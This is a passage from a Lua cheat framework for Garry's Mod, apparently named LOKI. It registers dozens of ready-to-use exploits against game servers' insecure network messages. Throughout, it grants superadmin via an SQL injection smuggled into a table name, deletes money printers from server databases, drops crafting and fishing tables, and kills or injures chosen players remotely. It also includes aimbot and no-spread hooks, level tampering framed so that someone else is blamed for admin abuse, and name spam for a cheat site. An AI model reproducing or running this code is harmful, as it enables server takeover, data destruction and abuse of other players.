7131 hooks = {
7132 Think = function(tbl, sploit)
7133 local v = LOKI.GetLP():GetEyeTrace().Entity
7134 LOKI.NetStart(sploit, "OpenGates")
7135 net.WriteEntity(v)
7136 net.SendToServer()
7137 end,
7138 },
7139 functions = {
7140 { typ = "func", Name = "Open" },
7141 },
7142} )
7143LOKI.AddExploit( "Door Exploit", {
7144 desc = "Unlock the door you're looking at",
7145 severity = 1,
7146 bools = {enabled = false},
7147 status = -1,
7148 times_per_tick = 1,
7149 scan = function() return LOKI.ValidNetString( "Kun_FinishLockpicking" ) end,
7150 hooks = {
7151 Think = function(tbl, sploit)
7152 local v = LOKI.GetLP():GetEyeTrace().Entity
7153 LOKI.NetStart(sploit, "Kun_FinishLockpicking")
7154 net.SendToServer()
7155 end,
7156 },
7157 functions = {
7158 { typ = "func", Name = "Open" },
7159 },
7160} )
7161LOKI.AddExploit( "Door Exploit", {
7162 desc = "Unlock the door you're looking at",
7163 severity = 1,
7164 bools = {enabled = false},
7165 status = 1,
7166 times_per_tick = 1,
7167 scan = function() return LOKI.ValidNetString( "ReturnFrom_Succes" ) end,
7168 hooks = {
7169 Think = function(tbl, sploit)
7170 local v = LOKI.GetLP():GetEyeTrace().Entity
7171 LOKI.NetStart(sploit, "ReturnFrom_Succes")
7172 net.WriteEntity(v)
7173 net.SendToServer()
7174 end,
7175 },
7176 functions = {
7177 { typ = "func", Name = "Open" },
7178 },
7179} )
7180LOKI.AddExploit( "Door Exploit", {
7181 desc = "Unlock and open every door as you walk up to it (blatant)",
7182 severity = 1,
7183 bools = {enabled = false},
7184 vars = {object = Entity(0)},
7185 status = 1,
7186 times_per_tick = 1,
7187 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
7188 hooks = {
7189 Tick = function(tbl, sploit)
7190 for k, object in pairs( ents.FindInSphere( LOKI.GetLP():GetPos(), 150 ) ) do
7191 if(object == LOKI.GetLP():GetEyeTrace().Entity && object:GetClass():find("door") && object != sploit.vars.object) then
7192 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
7193 net.WriteString("Add")
7194 net.WriteTable({[1] = "ci_hacking_gear"})
7195 net.SendToServer()
7196 sploit.vars.object = object
7197 break
7198 end
7199 end
7200 end,
7201 },
7202 functions = {
7203 { typ = "bool" },
7204 },
7205} )
7206LOKI.AddExploit( "Unbox Exploit", {
7207 desc = "Choose what you get from an unbox",
7208 severity = 1,
7209 bools = {enabled = false},
7210 status = 1,
7211 times_per_tick = 1,
7212 scan = function() return LOKI.ValidNetString( "InitSpin" ) end,
7213 hooks = {
7214 net = {
7215 Receive = function(sploit, strName)
7216 if(strName == "InitSpin" && sploit.bools.enabled) then
7217 local data = net.ReadTable()
7218 local added = {}
7219 local m = DermaMenu()
7220 for k, v in ipairs(data) do
7221 local CRC = util.CRC(table.ToString(v))
7222 if(v.itemName && !added[CRC]) then
7223 added[CRC] = CRC
7224 m:AddOption( v.itemName .. (v.itemClassName != nil && " (" .. v.itemClassName .. ")" || ""), function()
7225 LOKI.NetStart(sploit, "FinishedUnbox")
7226 net.WriteInt(k, 16)
7227 net.SendToServer()
7228 end )
7229 end
7230 end
7231 m:Open()
7232 return false
7233 end
7234 end,
7235 },
7236 },
7237 functions = {
7238 { typ = "bool", Name = "Open" },
7239 },
7240} )
7241LOKI.AddExploit( "Noise Exploit", {
7242 desc = "Causes players to leak petrol from their eyes",
7243 severity = 1,
7244 bools = {enabled = false},
7245 status = 1,
7246 msgs_per_tick = function() return #LOKI.GetStored( "gas_plyz", {} ) end,
7247 times_per_tick = math.huge,
7248 scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
7249 hooks = {
7250 Think = function(tbl, sploit)
7251 for k, v in ipairs(LOKI.GetStored( "gas_plyz", {} )) do
7252 if IsValid(v) then
7253 LOKI.NetStart( sploit, "simfphys_gasspill" )
7254 net.WriteVector( v:GetEyeTrace().HitPos )
7255 net.WriteVector( v:GetEyeTrace().HitNormal )
7256 net.SendToServer()
7257 end
7258 end
7259 end,
7260 },
7261 functions = {
7262 { typ = "players", addr = "gas_plyz" },
7263 { typ = "bool", },
7264 },
7265} )
7266LOKI.AddExploit( "Level Exploit", {
7267 desc = "Set players level to anything (and blame someone else for admin abuse)",
7268 severity = 1,
7269 bools = {enabled = false},
7270 status = 1,
7271 times_per_tick = 1,
7272 scan = function() return LOKI.ValidNetString( "EL_editUser" ) end,
7273 hooks = {
7274 Think = function(tbl, sploit)
7275 for k, v in ipairs(LOKI.GetStored( "level1_targets", {LOKI.GetLP()} )) do
7276 if(IsValid(v)) then
7277 LOKI.NetStart( sploit, "EL_editUser")
7278 DATA = {
7279 Target = v,
7280 Value = LOKI.GetStored("level1_level", 100),
7281 Value2 = LOKI.GetStored("level1_xp", 100),
7282 Value3 = LOKI.GetStored("level1_sp", 100),
7283 Value4 = LOKI.GetStored("level1_rank", 1)[2],
7284 Executer = LOKI.GetStored("level1_victim", {})[1],
7285 }
7286 net.WriteTable(DATA)
7287 net.SendToServer()
7288 end
7289 end
7290 end,
7291 },
7292 functions = {
7293 { typ = "players", addr = "level1_targets", Name = "Target" },
7294 { typ = "float", addr = "level1_level", Name = "Level", min = 0, max = math.huge, default = 100 },
7295 { typ = "float", addr = "level1_xp", Name = "Exp", min = 0, max = math.huge, default = 100 },
7296 { typ = "float", addr = "level1_sp", Name = "Skill Points", min = 0, max = math.huge, default = 1200 },
7297 { typ = (EL_Ranks && "combo" || "float"), tbl = EL_Ranks || {}, Name = "Rank", default = {"", 1}, addr = "level1_rank", min = 0, max = math.huge, default = 1, var = "name", sort = "rank", find = "rank" },
7298 { typ = "player", addr = "level1_victim", Name = "Victim" },
7299 { typ = "func", Name = "Do it"},
7300 },
7301} )
7302LOKI.AddExploit( "Level Exploit", {
7303 desc = "Manipulate any players level and inventory",
7304 severity = 1,
7305 bools = {enabled = false},
7306 status = 1,
7307 times_per_tick = 1,
7308 scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false end,
7309 count = {
7310 ["Active"] = 0,
7311 ["Total"] = 2,
7312 },
7313 initial = function(sploit)
7314 if(isfunction(LOKI.RecursiveGetVar(CRAFTINGMOD, {"Util", "CheckAdmin"}, "function"))) then
7315 function CRAFTINGMOD.Util:CheckAdmin() return true end
7316 end
7317 local meta = debug.getregistry().Player
7318 if(isfunction(meta.IsAdmin)) then
7319 function meta:IsAdmin() return true end
7320 end
7321 if(sploit.count.Active == 0) then
7322 if(LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false) then
7323 sploit.count.Active = sploit.count.Active + 1
7324 end
7325 if(LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false) then
7326 sploit.count.Active = sploit.count.Active + 1
7327 end
7328 end
7329 end,
7330 hooks = {
7331 Think = function(tbl, sploit)
7332 if(tbl[1] == 1) then
7333 local menu = LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "AdminMenu"}, "function")
7334 if(isfunction(menu)) then
7335 menu(CRAFTINGMOD.PANELS)
7336 LOKI.Menu:SetVisible(false)
7337 end
7338 elseif(tbl[1] == 2) then
7339 local menu = LOKI.RecursiveGetVar(FARMINGMOD, {"AdminMenu"}, "function")
7340 if(isfunction(menu)) then
7341 menu(FARMINGMOD)
7342 LOKI.Menu:SetVisible(false)
7343 end
7344 end
7345 end,
7346 },
7347 functions = {
7348 { typ = "func", Name = "Admin Menu (Mining)", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
7349 { typ = "func", Name = "Admin Menu (Farming)", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
7350 },
7351} )
7352LOKI.AddExploit( "Level Exploit", {
7353 desc = "Wield the Infinity Gauntlet",
7354 severity = 100,
7355 bools = {enabled = false},
7356 status = 1,
7357 times_per_tick = math.huge,
7358 scan = function() return istable(DarkRPG) end,
7359 count = {
7360 ["Active"] = 22,
7361 ["Total"] = 22,
7362 },
7363 hooks = {
7364 Think = function(tbl, sploit)
7365 LOKI.OpenTableEditor(LOKI.Menu, DarkRPG.Player.Stats, "Player Stat Multipliers", function(tbl)
7366 local DarkRPG = LOKI.GetUpValues(DarkRPG.createTalent)["menu"] || DarkRPG
7367 DarkRPG.savePlayerSettings()
7368 DarkRPG.updateTalentTree()
7369 DarkRPG.applyPlayerSettings()
7370 DarkRPG.updateUsedPoints()
7371 DarkRPG.sendPlayerTotalsToServer()
7372 end)
7373 end,
7374 },
7375 functions = {
7376 { typ = "func", Name = "Close Fist", },
7377 },
7378} )
7379LOKI.AddExploit( "Database Exploit", {
7380 desc = "Give people superadmin (rejoin for it to take effect)",
7381 severity = 100,
7382 bools = {enabled = false},
7383 status = 1,
7384 times_per_tick = 1,
7385 vars = {},
7386 prevalidated = true,
7387 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
7388 hooks = {
7389 Think = function(tbl, sploit)
7390 for k, v in ipairs( LOKI.GetStored( "l_superadmins", {} ) ) do
7391 if !IsValid(v) then continue end
7392 local ass = {}
7393 ass.tblname = "FAdmin_PlayerGroup; UPDATE FAdmin_PlayerGroup SET groupname = 'superadmin' WHERE steamid = " .. sql.SQLStr(v:SteamID())
7394 ass.ply = v
7395
7396 LOKI.NetStart(sploit, "pplay_sendtable")
7397 net.WriteTable(ass)
7398 net.SendToServer()
7399 end
7400 end,
7401 },
7402 functions = {
7403 { typ = "players", addr = "l_superadmins" },
7404 { typ = "func", Name = "Gibsmedat", },
7405 },
7406} )
7407LOKI.AddExploit( "Database Exploit", {
7408 desc = "Clumsy transport men always dropping the tables",
7409 severity = 100,
7410 bools = {enabled = false},
7411 status = 1,
7412 times_per_tick = 1,
7413 scan = function() return LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") || LOKI.ValidNetString("FISHINGMOD_ADMIN") end,
7414 hooks = {
7415 Think = function(tbl, sploit)
7416 LOKI.NetStart(sploit, (LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") && "CRAFTINGMOD_COMMANDS") || (LOKI.ValidNetString("FISHINGMOD_ADMIN") && "FISHINGMOD_ADMIN"))
7417 net.WriteInt(3, 16)
7418 net.SendToServer()
7419 end,
7420 },
7421 functions = {
7422 { typ = "func", Name = "Do it"},
7423 },
7424} )
7425LOKI.AddExploit( "Database Exploit", {
7426 desc = "Permanently delete all money printers from the server database",
7427 severity = 100,
7428 bools = {enabled = false},
7429 status = 1,
7430 times_per_tick = 1,
7431 scan = function() return istable(gPrinters) && LOKI.ValidNetString("gPrinters.removePrinter") end,
7432 hooks = {
7433 Think = function(tbl, sploit)
7434 for _, printer in pairs( gPrinters.printers or {} ) do
7435 for k, v in pairs( gPrinters.printers[ "Printers" ][ printer ] or printer ) do
7436 LOKI.NetStart(sploit, "gPrinters.removePrinter" )
7437 net.WriteString( v.uid )
7438 net.SendToServer()
7439 end
7440 end
7441 end,
7442 },
7443 functions = {
7444 { typ = "func", Name = "Do it"},
7445 },
7446} )
7447LOKI.AddExploit( "Damage Exploit", {
7448 desc = "Makes your bullets more accurate and more lethal",
7449 severity = 1,
7450 bools = {enabled = true},
7451 status = 1,
7452 times_per_tick = 1,
7453 scan = function(sploit) if(istable(LeyHitreg)) then sploit.channel = LOKI.GetUpValues(LeyHitreg.EntityFireBullets)["option_customnetmsg"] return true end end,
7454 count = {
7455 ["Active"] = 5,
7456 ["Total"] = 5,
7457 },
7458 channel = "nocheatinghere",
7459 hooks = {
7460 net = {
7461 SendToServer = function(sploit, varargs)
7462 sploit.BulletData = nil
7463 end,
7464 },
7465 util = {
7466 TraceLine = function(sploit, varargs)
7467 if(LOKI.NetOutgoingMsg == sploit.channel) then
7468 local trace = util.TraceLine(unpack(varargs))
7469 if(sploit.bools.bighead) then
7470 trace.HitGroup = HITGROUP_HEAD
7471 end
7472 if(sploit.bools.magicbullet && (!trace.Entity || !IsValid(trace.Entity) || !trace.Entity:IsPlayer())) then
7473 local ply = LOKI.GetLP()
7474 for k, ent in ipairs(player.GetAll()) do
7475 if(ent == ply || ent:Health() <= 0) then continue end
7476 local mins, maxs = (ent:OBBMins()*LOKI.GetStored("dmg1_hbox", 2)), (ent:OBBMaxs()*LOKI.GetStored("dmg1_hbox", 2))
7477 mins = mins - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
7478 maxs = maxs - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
7479 local hitpos, normal, fraction = util.IntersectRayWithOBB(LOKI.Freecam.EyePos(), ply:GetAimVector() * 16384, ent:GetPos(), Angle(0,0,0), mins, maxs, 2)
7480 if (hitpos) then
7481 trace.Entity = ent
7482 trace.HitPos = hitpos
7483
7484 debugoverlay.Line(trace.StartPos, trace.HitPos, 5, color_white, true)
7485 debugoverlay.BoxAngles(ent:GetPos(), mins, maxs, ent:GetAngles(), 5, color_white)
7486 break
7487 end
7488 end
7489 end
7490 if(sploit.BulletData && varargs[1].start == sploit.BulletData.Src && sploit.bools.desync) then
7491 local pos = Vector(0,0,0)
7492 if(LOKI.Freecam.Enabled) then
7493 pos = LOKI.Freecam.EyePos()
7494 elseif(IsValid(trace.Entity)) then
7495 local dist = math.Round(trace.HitPos:DistToSqr(LOKI.GetLP():GetShootPos()))
7496 if(math.abs(dist) < (600*600)) then
7497 pos = trace.Entity:GetPos() + trace.Entity:OBBCenter()
7498 else
7499 for k, v in ipairs(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 600)) do
7500 if(v == LOKI.GetLP()) then continue end
7501 if(IsValid(v:GetPhysicsObject()) && math.abs(math.Round((v:GetPos() + v:OBBCenter()):DistToSqr(LOKI.GetLP():GetShootPos()))) < (600*600)) then
7502 pos = v:GetPos() + v:OBBCenter()
7503 break
7504 end
7505 end
7506 end
7507 end
7508 varargs[1].endpos = varargs[1].endpos - varargs[1].start
7509 varargs[1].start.x = pos.x
7510 varargs[1].start.y = pos.y
7511 varargs[1].start.z = pos.z
7512 varargs[1].endpos = varargs[1].endpos + varargs[1].start
7513 end
7514 return trace
7515 end
7516 end,
7517 },
7518 math = {
7519 random = function(sploit, varargs)
7520 if(sploit.bools.nospread && LOKI.NetOutgoingMsg == sploit.channel) then
7521 return 0.5
7522 end
7523 end,
7524 },
7525 table = {
7526 Copy = function(sploit, varargs)
7527 local function func(index)
7528 local dbginfo = debug.getinfo(index)
7529 if(istable(dbginfo) && dbginfo.func == LeyHitreg.EntityFireBullets) then
7530 LOKI.NetOutgoingMsg = sploit.channel
7531 sploit.BulletData = varargs[1]
7532 return true
7533 end
7534 end
7535 if(!func(3)) then func(4) end
7536 end,
7537 },
7538 PostRender = function(tbl, sploit)
7539 if(LOKI.Freecam.Enabled == true && sploit.bools.desync) then
7540 local dist = math.Round(EyePos():DistToSqr(LOKI.GetLP():GetShootPos()))
7541 local color = Color(255,255,255)
7542 if(math.abs(dist) > (600*600)) then
7543 color = Color(255, 0, 0)
7544 else
7545 color = Color(102, 255, 102)
7546 end
7547 LOKI.DrawText( dist, "TargetID", 0, 20, color )
7548 end
7549 end,
7550 },
7551 functions = {
7552 { typ = "bool", ToggleText = {"Damage"}, border = true, bool = "bighead" },
7553 { typ = "bool", ToggleText = {"NoSpread"}, border = true, bool = "nospread" },
7554 { typ = "bool", ToggleText = {"Desync"}, border = true, bool = "desync" },
7555 { typ = "bool", ToggleText = {"Assist"}, border = true, bool = "magicbullet" },
7556 { typ = "float", Name = "Hitbox Scale", min = 1, max = math.huge, default = 1.5, addr = "dmg1_hbox" },
7557 //{ typ = "bool" },
7558 },
7559} )
7560LOKI.AddExploit( "Damage Exploit", {
7561 desc = "Be a silent assassin by injuring people across the map",
7562 severity = 1,
7563 bools = {enabled = false},
7564 status = 1,
7565 times_per_tick = 1,
7566 scan = function() return LOKI.ValidNetString("Taucannonfire") end,
7567 hooks = {
7568 Think = function(tbl, sploit)
7569 for i = 0, LOKI.GetStored("dmg1_mult", 1) do
7570 for k, v in ipairs( LOKI.GetStored( "dmg1_plyz", {} ) ) do
7571 if IsValid(v) then
7572 if(v:IsPlayer()) then
7573 LOKI.NetStart(sploit, "Taucannonfire")
7574 net.WriteEntity(v)
7575 net.WriteBit(1)
7576 net.SendToServer()
7577 end
7578 end
7579 end
7580 end
7581 end,
7582 },
7583 functions = {
7584 { typ = "players", addr = "dmg1_plyz", Name = "Victims" },
7585 { typ = "float", Name = "Multiplier", min = 1, max = math.huge, default = 1, addr = "dmg1_mult" },
7586 { typ = "func", Name = "Do it"},
7587 },
7588} )
7589LOKI.AddExploit( "Damage Exploit", {
7590 desc = "Be a silent assassin by killing people across the map",
7591 severity = 1,
7592 bools = {enabled = false},
7593 status = 1,
7594 times_per_tick = 1,
7595 scan = function() return LOKI.ValidNetString("mat_zset") end,
7596 hooks = {
7597 Think = function(tbl, sploit)
7598 for k, v in ipairs( LOKI.GetStored( "dmg2_plyz", {} ) ) do
7599 if IsValid(v) then
7600 LOKI.NetStart(sploit, "mat_zset")
7601 net.WriteString(v:Nick())
7602 net.SendToServer()
7603 end
7604 end
7605 end,
7606 },
7607 functions = {
7608 { typ = "players", addr = "dmg2_plyz", Name = "Victims" },
7609 { typ = "func", Name = "Do it"},
7610 },
7611} )
7612LOKI.AddExploit( "Damage Exploit", {
7613 desc = "Become a god among men",
7614 severity = 1,
7615 bools = {enabled = false},
7616 status = 1,
7617 times_per_tick = 1,
7618 scan = function() return LOKI.ValidNetString("dialogClose", "f4menufreeze") end,
7619 OnDisable = function(var, sploit)
7620 LOKI.NetStart( sploit, "dialogClose")
7621 net.SendToServer()
7622 end,
7623 hooks = {
7624 net = {
7625 Start = function(sploit, varargs)
7626 if(varargs[1] == "dialogClose" && sploit.bools.enabled) then
7627 LOKI.NetStart(sploit, "f4menufreeze")
7628 net.WriteBool(false)
7629 net.SendToServer()
7630 LOKI.GetLP().dialogActive = false
7631 return false
7632 end
7633 end,
7634 },
7635 },
7636 functions = {
7637 { typ = "bool" },
7638 },
7639} )
7640LOKI.AddExploit( "Damage Exploit", {
7641 desc = "Become the human torch",
7642 severity = 1,
7643 bools = {enabled = false},
7644 status = 1,
7645 times_per_tick = 1,
7646 prevalidated = true,
7647 scan = function() return LOKI.ValidNetString("DragonVapeIgnite") && LOKI.GetLP():HasWeapon("weapon_vape_dragon") end,
7648 scan_always = true,
7649 hooks = {
7650 Tick = function(tbl, sploit)
7651 for k, v in ipairs(ents.GetAll()) do
7652 if(!IsValid(v) || !v:IsSolid() || v:GetPos():Distance(LOKI.GetLP():GetPos()) > 500) then continue end
7653 LOKI.NetStart(sploit, "DragonVapeIgnite")
7654 net.WriteEntity(v)
7655 net.SendToServer()
7656 end
7657 end,
7658 },
7659 functions = {
7660 { typ = "bool" },
7661 },
7662} )
7663LOKI.AddExploit( "Damage Exploit", {
7664 desc = "Evolve into a human with gills",
7665 severity = 1,
7666 bools = {enabled = false},
7667 status = 1,
7668 times_per_tick = 1,
7669 scan = function() return LOKI.ValidNetString("StaminaDrowning") end,
7670 hooks = {
7671 net = {
7672 Start = function(sploit, varargs)
7673 if(varargs[1] == "StaminaDrowning" && sploit.bools.enabled) then
7674 return false
7675 end
7676 end,
7677 },
7678 },
7679 functions = {
7680 { typ = "bool" },
7681 },
7682} )
7683LOKI.AddExploit( "Damage Exploit", {
7684 desc = "Makes your bullets more lethal",
7685 severity = 1,
7686 bools = {enabled = false},
7687 status = 1,
7688 times_per_tick = 1,
7689 scan = function(sploit) return LOKI.ValidNetString("shr") end,
7690 hooks = {
7691 net = {
7692 WriteUInt = function(sploit, varargs)
7693 if(LOKI.NetOutgoingMsg == "shr" && istable(LOKI.NetOutgoingData[6]) && LOKI.NetOutgoingData[6].Type == "Vector" && sploit.bools.enabled) then
7694 varargs[1] = HITGROUP_HEAD
7695 end
7696 end,
7697 },
7698 },
7699 functions = {
7700 { typ = "bool" },
7701 },
7702} ) -- not done and not worth working on since it only exists on ~5 servers total
7703LOKI.AddExploit( "Teleport Exploit", {
7704 desc = "Call a taxi",
7705 severity = 1,
7706 bools = {enabled = false},
7707 status = 1,
7708 times_per_tick = 1,
7709 scan = function() return isfunction(net.Receivers["taxi_menu"]) end,
7710 hooks = {
7711 Think = function(tbl, sploit)
7712 LOKI.Menu:SetVisible(false)
7713 net.Receivers["taxi_menu"]()
7714 end,
7715 },
7716 functions = {
7717 { typ = "func", Name = "Open", args = {1}},
7718 },
7719} )
7720LOKI.AddExploit( "Instant Dumpster Diving", {
7721 desc = "Loot dumpsters whilst smoking crack",
7722 severity = 1,
7723 bools = {enabled = false},
7724 status = 1,
7725 times_per_tick = 1,
7726 vars = {},
7727 scan = function() return LOKI.ValidNetString( "dumpster_beginsearch" ) end,
7728 hooks = {
7729 net = {
7730 Receive = function(sploit, strName)
7731 if(strName == "dumpster_beginsearch") then
7732 net.Receivers["dumpster_beginsearch"]()
7733 if(sploit.bools.enabled) then
7734 LOKI.GetLP().DumpsterTime = 0
7735 LOKI.GetLP().DumpsterDiving = false
7736 LOKI.NetStart(sploit, "dumpster_search_complete", true)
7737 net.WriteInt(LOKI.GetLP().ActiveDumpster, 32)
7738 net.SendToServer()
7739 end
7740 return false
7741 end
7742 end,
7743 },
7744 },
7745 functions = {
7746 { typ = "bool", },
7747 },
7748} )
7749LOKI.AddExploit( "Disguise Exploit", {
7750 desc = "Disguise as any job",
7751 severity = 1,
7752 bools = {enabled = false},
7753 status = 1,
7754 times_per_tick = math.huge,
7755 scan = function() return LOKI.ValidNetString( "disguise" ) end,
7756 hooks = {
7757 Think = function(tbl, sploit)
7758 LOKI.NetStart( sploit, "disguise" )
7759 net.WriteInt(LOKI.SafeToNumber(LOKI.GetStored("disguise1", {1, 1})[2]), 32)
7760 net.SendToServer()
7761 end,
7762 },
7763 functions = {
7764 { typ = "combo", Name = "Job", tbl = team.GetAllTeams(), restriction = "Joinable", var = "Name", sort = "Name", default = 1, addr = "disguise1" },
7765 { typ = "func", Name = "Disguise", },
7766 },
7767} )
7768LOKI.AddExploit( "Name Changer", {
7769 desc = "Allows you to change your name to anything",
7770 severity = 1,
7771 bools = {enabled = false},
7772 status = 1,
7773 times_per_tick = 1,
7774 vars = {},
7775 scan = function() return (LOKI.ValidNetString( "gportal_rpname_change" ) && "gportal_rpname_change") || (LOKI.ValidNetString( "gp_rpname_change" ) && "gp_rpname_change") end,
7776 hooks = {
7777 Think = function(tbl, sploit)
7778 LOKI.NetStart( sploit, sploit.channel)
7779 net.WriteString(tostring(LOKI.GetStored( "nc1" )))
7780 net.WriteString(tostring(LOKI.GetStored( "nc2" )))
7781 net.SendToServer()
7782 end,
7783 },
7784 functions = {
7785 { typ = "string", Name = "First Name:", default = "GET", addr = "nc1" },
7786 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc2" },
7787 { typ = "func", Name = "Change Name", }
7788 },
7789} )
7790LOKI.AddExploit( "Name Changer", {
7791 desc = "Allows you to change your name to anything",
7792 severity = 1,
7793 bools = {enabled = false},
7794 status = 1,
7795 times_per_tick = 1,
7796 vars = {},
7797 scan = function() return LOKI.ValidNetString( "WS:NPC:Name:NewName" ) end,
7798 hooks = {
7799 Think = function(tbl, sploit)
7800 LOKI.NetStart( sploit, "WS:NPC:Name:NewName")
7801 net.WriteString(tostring(LOKI.GetStored( "nc2" )))
7802 net.SendToServer()
7803 end,
7804 },
7805 functions = {
7806 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc2" },
7807 { typ = "func", Name = "Change Name", }
7808 },
7809} )
7810LOKI.AddExploit( "Name Changer", {
7811 desc = "Allows you to change your name to anything",
7812 severity = 1,
7813 bools = {enabled = false},
7814 status = 1,
7815 times_per_tick = 1,
7816 vars = {},
7817 scan = function() return LOKI.ValidNetString( "NewRPNameSQL" ) end,
7818 hooks = {
7819 Think = function(tbl, sploit)
7820 LOKI.NetStart( sploit, "NewRPNameSQL")
7821 net.WriteString(tostring(LOKI.GetStored( "nc3" )))
7822 net.SendToServer()
7823 end,
7824 },
7825 functions = {
7826 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc3" },
7827 { typ = "func", Name = "Change Name", }
7828 },
7829} )
7830LOKI.AddExploit( "Name Changer", {
7831 desc = "Allows you to change your steam name to anything. (32 char limit)",
7832 severity = 1,
7833 bools = {enabled = false},
7834 status = 1,
7835 times_per_tick = 1,
7836 vars = {},
7837 scan = function() return isfunction(CNetChan) && CNetChan() && CNetChan():GetReliableBuffer() end,
7838 hooks = {
7839 Think = function(tbl, sploit)
7840 local buffer = CNetChan():GetReliableBuffer()
7841 buffer:WriteUInt(net_SetConVar, NET_MESSAGE_BITS)
7842 buffer:WriteByte(1)
7843 buffer:WriteString("name")
7844 buffer:WriteString(tostring(LOKI.GetStored( "nc4" )))
7845 end,
7846 },
7847 functions = {
7848 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc4" },
7849 { typ = "func", Name = "Change Name", }
7850 },
7851} )
7852LOKI.AddExploit( "Name Changer", {
7853 desc = "Allows you to change your name to anything",
7854 severity = 1,
7855 bools = {enabled = false},
7856 status = 1,
7857 times_per_tick = 1,
7858 vars = {},
7859 scan = function() return LOKI.ValidNetString( "rpname_change" ) end,
7860 hooks = {
7861 Think = function(tbl, sploit)
7862 LOKI.NetStart( sploit, "rpname_change")
7863 net.WriteString(tostring(LOKI.GetStored( "nc5" )))
7864 net.WriteString(tostring(LOKI.GetStored( "nc51" )))
7865 net.SendToServer()
7866 end,
7867 },
7868 functions = {
7869 { typ = "string", Name = "First Name:", default = "GET", addr = "nc5" },
7870 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc51" },
7871 { typ = "func", Name = "Change Name", }
7872 },
7873} )
7874LOKI.AddExploit( "Name Changer", {
7875 desc = "Allows you to change your name to anything",
7876 severity = 1,
7877 bools = {enabled = false},
7878 status = 1,
7879 times_per_tick = 1,
7880 vars = {},
7881 scan = function() return LOKI.ValidNetString( "popupinfo" ) end,
7882 hooks = {
7883 Think = function(tbl, sploit)
7884 LOKI.NetStart( sploit, "popupinfo")
7885 net.WriteString(tostring(LOKI.GetStored( "nc6" )))
7886 net.SendToServer()
7887 end,
7888 },
7889 functions = {
7890 { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc6" },
7891 { typ = "func", Name = "Change Name", }
7892 },
7893} )
7894LOKI.AddExploit( "Name Changer", {
7895 desc = "Allows you to change your name to anything",
7896 severity = 1,
7897 bools = {enabled = false},
7898 status = 1,
7899 times_per_tick = 1,
7900 vars = {},
7901 scan = function() return LOKI.ValidNetString( "scoreboardadmin" ) end,
7902 hooks = {
7903 Think = function(tbl, sploit)
7904 LOKI.NetStart( sploit, "scoreboardadmin")
7905 net.WriteEntity( LOKI.GetLP() )
7906 net.WriteString( "rpname" )
7907 net.WriteString( "user" )
7908 net.WriteString(tostring(LOKI.GetStored( "nc7" )))
7909 net.SendToServer()
7910 end,
7911 },
7912 functions = {
7913 { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc7" },
7914 { typ = "func", Name = "Change Name", }
7915 },
7916} )
7917LOKI.AddExploit( "Name Changer", {
7918 desc = "Allows you to change your name and playermodel to anything",
7919 severity = 1,
7920 bools = {enabled = false},
7921 status = 1,
7922 times_per_tick = 1,
7923 vars = {},
7924 scan = function() return LOKI.ValidNetString( "UpdateCharSF", "take_my_cash" ) end,
7925 hooks = {
7926 Think = function(tbl, sploit)
7927 LOKI.NetStart( sploit, "take_my_cash" )
7928 net.WriteString(-10000)
7929 net.SendToServer()
7930 LOKI.NetStart( sploit, "UpdateCharSF")
7931 net.WriteString(tostring(LOKI.GetStored( "nc8" )))
7932 net.WriteString(tostring(LOKI.GetStored( "nc8a" )))
7933 net.WriteString(tostring(LOKI.GetStored( "nc8b" )))
7934 net.SendToServer()
7935 end,
7936 },
7937 functions = {
7938 { typ = "string", Name = "First Name:", default = "GET", addr = "nc8" },
7939 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc8a" },
7940 { typ = "string", Name = "Player Model:", default = "models/error.mdl", addr = "nc8b" },
7941 { typ = "func", Name = "Change Name", }
7942 },
7943} )
7944LOKI.AddExploit( "Speed Hack", {
7945 desc = "Allows you to move at warp speed",
7946 severity = 1,
7947 bools = {enabled = false},
7948 status = 1,
7949 times_per_tick = 1,
7950 vars = {},
7951 scan = function() return LOKI.ValidNetString( "SprintSpeedset" ) end,
7952 hooks = {
7953 Think = function(tbl, sploit)
7954 LOKI.NetStart( sploit, "SprintSpeedset")
7955 net.WriteFloat(LOKI.SafeToNumber(LOKI.GetStored( "sh1" )))
7956 net.SendToServer()
7957 end,
7958 },
7959 functions = {
7960 { typ = "float", Name = "Speed: ", min = 0, max = math.huge, default = 1000, addr = "sh1" },
7961 { typ = "func", Name = "Go", }
7962 },
7963} )
7964LOKI.AddExploit( "Bonus Exploit", {
7965 desc = "Free Shit",
7966 severity = 1,
7967 bools = {enabled = false},
7968 status = 1,
7969 times_per_tick = 1,
7970 vars = {},
7971 scan = function() return LOKI.ValidNetString( "AbilityUse" ) end,
7972 hooks = {
7973 Think = function(tbl, sploit)
7974 LOKI.NetStart( sploit, "AbilityUse")
7975 net.WriteInt(tbl[1], 32)
7976 net.SendToServer()
7977 end,
7978 },
7979 functions = {
7980 { typ = "func", Name = "Money", args = {1}, },
7981 { typ = "func", Name = "Time Bonus", args = {2}, },
7982 { typ = "func", Name = "HP", args = {3}, },
7983 { typ = "func", Name = "Armor", args = {4}, },
7984 { typ = "func", Name = "Salary Bonus", args = {5}, },
